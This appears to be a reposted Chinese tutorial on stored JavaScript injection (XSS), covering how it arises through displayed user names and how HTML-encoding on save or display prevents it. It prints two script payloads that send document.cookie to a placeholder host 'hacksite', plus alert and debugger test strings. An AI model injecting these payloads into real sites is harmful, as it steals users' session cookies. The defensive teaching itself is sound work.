初次接触:
初次接触JavaScript注入漏洞后,如果不对这种漏洞的作用机理仔细分析并提取出其发生的某种模式,你就不能做到快速的发现项目中可能存在的所有注入风险并在代码中防范。
发生模式:
JavaScript注入漏洞能发生作用主要依赖两个关键的动作,一个是用户要能从界面中注入JavaScript到系统的内存或者后台存储系统中;二是系统中存在一些UI会展示用户注入的数据。
比如注入漏洞最常见的就是发生在各种类型的名字中,比如系统中的人名等等,因为名字往往会在各种系统上显示,如果在某个用户输入名字的时候注入了脚本,那么受其影响的各个系统都有发生注入漏洞的风险。
曾经在帮别的项目做Bug Bash时,我给系统中的一个名字中注入了JavaScript脚本,结果导致使用这个名字的8个子系统、站点、app出现问题。
解决方案:
防范注入漏洞主要有两个思路:一个是在用户输入数据后Encode内容后再保存到持久存储,另一个是在展示用户输入数据的地方Encode从持久存储中取到的数据。
方法一的优点是一般存储用户输入数据的代码少而固定但展示输入数据的UI界面可能有很多而且还会有变化的可能,因此比较好防范;但缺点是存储在持久存储中的数据是Encode后的。
方法二的优点是存储在持久存储中的数据原始内容;但缺点是需要在多处UI界面中写代码防范,而且还得确保在增加新的UI时不忘防范。比如现在Web app比较流行,公司决定开发,那么在开发的过程必须要做好防范,否则可能别的地方都防范好了,但新系统中却没有做好防范,漏洞最后还是发生了。
JavaScript Html Encode/Decode by jQuery:
function htmlEncode(value){ return $('<div/>').text(value).html(); } function htmlDecode(value){ return $('<div/>').html(value).text(); }
漏洞被用于攻击时注入内容:
jQuery场景:
<script>var i=$("<img></img>");i.attr("src", "http://hacksite"+document.cookie);$('body').append(i)</script>
原生JS场景:
<script>var d=document;var i=d.createElement("img");i.setAttribute("src","http://hacksite"+d.cookie);d.body.appendChild(i)</script>
测试漏洞时注入内容:
<script>alert(0)</script>
<script>debugger</script> --辅助开发人员快速定位出错的JavaScript代码(打开调试器的情况下)。
以上这篇JavaScript注入漏洞的原理及防范(详解)就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持。
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!
更新日志
- 张真.1993-失恋十四行【上华】【WAV+CUE】
- 钟明秋《爱有天意HQCD》[低速原抓WAV+CUE]
- 孙云岗唢呐《金声玉振[HIFI珍藏版]》[低速原抓WAV+CUE]
- 谭艳精讯TEST-CD试音39号》2CD[DTS-WAV]
- 姚璎格《发烧女中音》DSD版[低速原抓WAV+CUE][1G]
- 张玮伽《微风细雨DSD》发烧大碟[WAV+CUE][1.1G]
- 群星《2024好听新歌14》十倍音质 U盘音乐 [WAV分轨][966M]
- s14全球总决赛T1战队队员都有谁 LOLs14全球总决赛T1战队介绍
- 英雄联盟faker身价有10亿吗 英雄联盟faker身价介绍一览
- faker大魔王称号怎么来的 faker大魔王称号来源介绍
- PS5 Pro上的蒂法更美了!博主盛赞新机1000%值得购买
- 腾讯互娱再离职一员大将!或因供应商贪腐
- Ayaneo3游戏掌机预热:旗舰定位、造型圆润自带底键
- 动力火车.1999-背叛情歌【上华】【WAV+CUE】
- 刘力扬.2019-Neon.Lit虹【摩登天空】【FLAC分轨】